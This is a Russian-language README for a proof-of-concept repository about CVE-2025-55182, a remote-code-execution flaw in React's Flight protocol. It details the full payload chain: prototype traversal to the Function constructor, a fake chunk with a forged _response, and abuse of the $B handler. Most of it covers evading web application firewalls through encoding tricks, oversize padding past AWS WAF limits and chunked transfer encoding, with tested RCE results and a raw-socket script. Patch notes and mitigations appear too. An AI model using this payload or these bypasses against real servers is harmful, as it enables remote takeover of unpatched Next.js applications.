Технический proof-of-concept и углубленный анализ CVE-2025-55182, критической уязвимости RCE в React's Flight Protocol через обход пути, внедрение поддельных фрагментов и злоупотребление обработчиком $B.
ПРИМЕЧАНИЕ: Написано AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 — это критическая уязвимость RCE в протоколе Flight от React. Атака сочетает path traversal + внедрение поддельного чанка + злоупотребление обработчиком $B для выполнения Function(attacker_code).
Большое спасибо maple3142 за рабочую цепочку эксплуатации!
Эксплойт использует три поля формы для создания вредоносной нагрузки:
then (поле 1 $@0 → поле 0)_response с _formData.get, установленным в $1:constructor:constructor$B, который вызывает response._formData.get(response._prefix + id)_formData.get → Function, выполняя Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Ключевые компоненты
| Компонент | Назначение |
|-----------|---------|
| `then: "$1:__proto__:then"` | Самоссылающийся thenable; чанк 1 (`$@0`) указывает обратно на чанк 0 |
| `status: "resolved_model"` | Делает объект похожим на валидный React чанк |
| `reason: -1` | Устанавливает rootReference в undefined (избегает конфликтов ссылок) |
| `value: '{"then":"$B1337"}'` | Вложенная полезная нагрузка, которая запускает обработчик `$B` |
| `_response._prefix` | Содержит строку кода RCE |
| `_response._chunks: "$Q2"` | Пустая Map для предотвращения сбоев во время обработки чанков |
| `_response._formData.get` | Указывает на `Function` через `$1:constructor:constructor` |
### Детальный разбор компонента
#### Структура поля формы
Эксплойт использует три поля формы с циклическими ссылками:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then" создает самоссылку, которая разрешается в настоящую функцию:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Почему это критично:**
1. `then` разрешается в `Chunk.prototype.then` - реальная вызываемая функция
2. Это делает поддельный объект валидным thenable
3. При ожидании (await) JS вызывает `obj.then(resolve, reject)`
4. `Chunk.prototype.then` выполняется с поддельным объектом в качестве `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) использует this._response - поддельный _response атакующего:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Без самореференции** поддельный `_response` никогда бы не использовался. Самореференция заставляет `Chunk.prototype.then` обрабатывать объект злоумышленника как настоящий Chunk.
#### Двухэтапный Thenable-триггер (`value`)
Поле `value` содержит вложенную строку JSON с другим thenable:```json
{"then":"$B1337"}
Шаг 1: Самореферентный then внешнего объекта запускает обработку фрагментов
Шаг 2: Когда React разрешает модель, он анализирует value и встречает другой thenable с then: "$B1337". Префикс $B запускает обработчик:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` является `"$1:constructor:constructor"` → `getOutlinedModel()` разрешается в `Function`.
Это становится: `Function(code + "1337")` → валидный JS, потому что `1337` — это просто завершающее выражение.
#### Защитное дополнение (`_chunks`)
Фальшивому `_response` требуется валидное свойство `_chunks`, чтобы предотвратить сбои:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Реактовский внутренний код может обращаться к response._chunks.get() или response._chunks.has() в процессе обработки. Пустой Map удовлетворяет этим вызовам без ошибок, позволяя выполнению дойти до уязвимого обработчика $B.
| Путь | Функция | Назначение в эксплойте |
|---|---|---|
| Обход пути | getOutlinedModel() | Преобразует $1:constructor:constructor → Function |
Инъекция поддельного _response | initializeModelChunk() | Использует chunk._response атакующего |
Обработчик $B | parseModelString() | Вызывает _formData.get(_prefix + id) → RCE |
decodeReply() является точкой входа, сама по себе не уязвима.
Обход пути (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Использование поддельного ответа** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Обработчик RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## Исправление (19.2.1)
Патч включает несколько исправлений:
1. **`RESPONSE_SYMBOL` в `initializeModelChunk()`** - Критическое исправление ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty проверка в getOutlinedModel() - Блокирует обход прототипа ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ в reviveModel() - предотвращает загрязнение прототипа ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Проверяет слушателей ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Возможность | Статус | Примечания |
|---|---|---|
| Обход цепочки прототипов | ✓ Подтверждено | Через $1:constructor:constructor |
| Доступ к конструктору Function | ✓ Подтверждено | Манифест не требуется |
| Полноценное RCE | ✓ Подтверждено | Через поддельный чанк + обработчик $B |
В этом разделе объясняется, почему традиционные сигнатурные правила WAF не могут надежно обнаружить эту эксплойтацию. Понимание этих ограничений необходимо группам безопасности для оценки своей оборонительной позиции.
Полезная нагрузка эксплойта проходит через несколько парсеров, каждый с поддержкой различных видов кодирования. WAF, проверяя сырые байты HTTP, видит закодированные строки, но сервер декодирует их перед обработкой:
| Уровень | Парсер | Декодирует |
|---|---|---|
| Структура JSON | JSON.parse() | \uXXXX юникод-экранирования |
| Код JavaScript | Function() конструктор | \uXXXX, \xXX, восьмеричные, fromCharCode() |
Это создает фундаментальное несоответствие: WAF видит закодированные байты, но приложение — декодированные строки.
Наивный WAF может искать шаблоны вроде constructor, __proto__, resolved_model или child_process. Однако JSON допускает юникод-экранирование для любого символа:
| Литеральный шаблон | Эквивалент в Unicode | Обнаружение WAF |
|---|---|---|
constructor | \u0063onstructor | Обойдено |
__proto__ | \u005f\u005fproto\u005f\u005f | Обойдено |
resolved_model | \u0072esolved_model | Обойдено |
$@ (циклическая ссылка) | $\u0040 | Обойдено |
Код JavaScript внутри полезной нагрузки имеет еще больше вариантов кодирования:
| Шаблон | Варианты кодирования |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, числовые коды символов, base64 |
| Любой идентификатор | Скобочная запись: this[S(112,114,...)] где S=String.fromCharCode |
Когда все методы кодирования объединены:
\u0074\u0068\u0065\u006e для then)S(99,104,105,108,100,95,...) для child_process)WAF, сканируя тело HTTP, видит только escape-последовательности и числа — ничего, что соответствует традиционным сигнатурам атак.
Заголовок Next-Action идентифицирует запросы Server Action. Хотя имена заголовков не могут быть юникод-кодированы (RFC 7230 требует токенов ASCII), различия в нормализации между WAF и сервером создают пробелы в обнаружении:
| Вариант | Поведение сервера | Риск WAF |
|---|---|---|
next-action (нижний регистр) | Принимается (HTTP нечувствителен к регистру) | Пропущен, если WAF ожидает точный регистр |
Next-Action:\tx (табуляция) | Принимается (пробелы нормализованы) | Пропущен, если WAF ожидает пробел |
Next-Action: x (пробелы) | Принимается | Пропущен без нормализации |
Установка исправлений — единственная надежная мера защиты. Правила WAF не могут полностью заблокировать эту атаку из-за гибкости кодирования.
Необходимые версии:
Если исправление откладывается, рассмотрите:
\uXXXX, \xXX и нормализовать вызовы fromCharCode() перед сопоставлением с шаблоном_response, _prefix, _chunks или циклические ссылки ($@0)next-action без учета регистра с обрезкой пробеловNext-ActionFunction() с динамическими строковыми аргументамиКлючевой вывод: Одно лишь сопоставление с шаблоном не сработает против этого класса атак. Поверхность кодирования слишком велика для перечисления.
Даже при наличии всеобъемлющих правил WAF, у AWS WAF есть ограничения по размеру проверки тела запроса, которые можно эксплуатировать. В этом разделе документированы проверенные техники обхода с использованием крупных полезных нагрузок.
AWS WAF проверяет только часть тела запроса:
| Бэкенд | Лимит по умолчанию | Максимум настраиваемый |
|---|---|---|
| ALB / AppSync | 8 КБ | 8 КБ |
| CloudFront / API Gateway | 16 КБ | 64 КБ |
| Amazon Cognito / App Runner | 16 КБ | 64 КБ |
OversizeHandlingПравила WAF определяют, как обрабатывать запросы, превышающие лимиты проверки:
| Настройка | Поведение | Эксплуатируемо? |
|---|---|---|
CONTINUE | Проверить доступные байты, оценить правило | Да — полезная нагрузка после лимита не проверяется |
MATCH | Считать совпадением (блокировать) | Нет — блокирует превышающие запросы |
NO_MATCH | Считать несовпадением | Да — пропускает |
Если ваше правило WAF использует OversizeHandling: CONTINUE (обычное значение по умолчанию), обход тривиален.
Разместите безвредные данные-дополнение перед эксплойтом, чтобы они оказались за пределами окна проверки:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Результаты тестирования
Все полезные нагрузки с превышением размера успешно достигли RCE на Next.js:
| Размер дополнения | Общее тело | Смещение эксплойта | Результат |
|-------------------|------------|-------------------|-----------|
| 0 КБ | 0.6 КБ | 0.4 КБ | ✅ RCE |
| 8 КБ | 8.6 КБ | 8.4 КБ | ✅ RCE |
| 16 КБ | 16.6 КБ | 16.5 КБ | ✅ RCE |
| 32 КБ | 32.6 КБ | 32.5 КБ | ✅ RCE |
| 64 КБ | 64.6 КБ | 64.5 КБ | ✅ RCE |
| 128 КБ | 128.6 КБ | 128.5 КБ | ✅ RCE |
### Обход через фрагментированное кодирование передачи
Фрагментированное кодирование передачи HTTP/1.1 разделяет тело на отдельные фрагменты. Если WAF проверяет фрагменты **до** сборки, шаблоны, охватывающие границы фрагментов, не будут совпадать.
#### Как это работает```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Паттерн разделен по частям:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Протестированные стратегии фрагментации
| Стратегия | Описание | Результат |
|-----------|----------|-----------|
| Разделение на `$@` | `"$` \| `@0"` | ✅ RCE |
| Фрагменты по 10 байт | Тело разделяется каждые 10 байт | ✅ RCE |
| Фрагменты по 5 байт | Тело разделяется каждые 5 байт | ✅ RCE |
| Разделение на `status` | `sta` \| `tus` | ✅ RCE |
Все стратегии успешно достигли RCE — Next.js корректно собирает фрагментированные запросы.
#### Пример с использованием сырых сокетов```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| Тип WAF | Обработка фрагментов | Возможен обход? |
|---|---|---|
| AWS WAF (ALB) | Собирает перед проверкой | Маловероятно |
| AWS WAF (CloudFront) | Собирает перед проверкой | Маловероятно |
| Некоторые устаревшие WAF | Проверяют по фрагментам | Да |
| Nginx ModSecurity | Настраиваемая | Зависит от конфигурации |
Примечание: AWS WAF обычно собирает фрагментированные тела запросов перед проверкой. Однако это следует проверять в каждой среде, так как конфигурации различаются.
OversizeHandling на MATCH ```json
"OversizeHandling": "MATCH"
Это блокирует любые запросы, превышающие лимит проверки, при соблюдении условий правила.
Увеличение лимита проверки тела запроса (только CloudFront/API Gateway) Настройте до 64 КБ в параметрах веб-ACL, но это не полностью предотвращает обход.
Добавьте правило блокировки на основе размера
Блокируйте POST-запросы с заголовком Next-Action, превышающим разумный размер (например, 10 КБ).
Исправьте приложение — единственное полное решение.
См. прилагаемые тестовые скрипты:
test-simple.cjs — Базовый тест полезной нагрузки без фрагментацииtest-oversize.cjs — Тестирует размеры дополнения от 0 до 128 КБtest-chunked-v2.cjs — Фрагментированная передача с разделением по $@test-chunked-bypass.cjs — Несколько стратегий фрагментации (5 байт, 10 байт, разделение по шаблону)Использование:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Исследовательский путь
### Уязвимость: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
С полезной нагрузкой "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Хотя мы получили Function, для выполнения произвольного кода (RCE) требуется вызвать его с контролируемыми аргументами. Эти пути не сработали:
1. Thenable путь (заблокирован)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Path (Заблокирован)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Путь итератора (Заблокирован)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### The Breakthrough
maple3142 нашёл недостающий элемент: обработчик `$B` + цепочка поддельных `_response`. Заставляя `then` разрешаться в `Chunk.prototype.then` через само-ссылку, поддельный `_response` используется, что позволяет выполнить RCE.
---
## Key Findings
1. **`getOutlinedModel()` vulnerability is real** - Пути, разделённые двоеточием, позволяют проходить по цепочке прототипов
2. **Function constructor is accessible** - `$1:constructor:constructor` работает без serverManifest
3. **RCE is achievable** - Путём создания поддельного чанка с контролируемым `_response`:
- Само-ссылка `$1:__proto__:then` → `Chunk.prototype.then` заставляет использовать поддельный `_response`
- Структура поддельного чанка имитирует внутренний класс Chunk в React
- `_response._formData.get` → конструктор `Function`
- `_response._prefix` → строка вредоносного кода
- Обработчик `$B` запускает `Function(вредоносный_код)`
4. **The fix is comprehensive** - Множество проверок `hasOwnProperty` и валидаций типов
---
## References
- [Gist от maple3142](https://gist.github.com/maple3142) - обнаружение цепочки RCE
- [Консультация по безопасности React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC от msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Правило AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Disclaimer
Этот репозиторий предназначен **только для образовательных целей и исследований в области безопасности**. Уязвимость была исправлена. Немедленно обновите свои зависимости.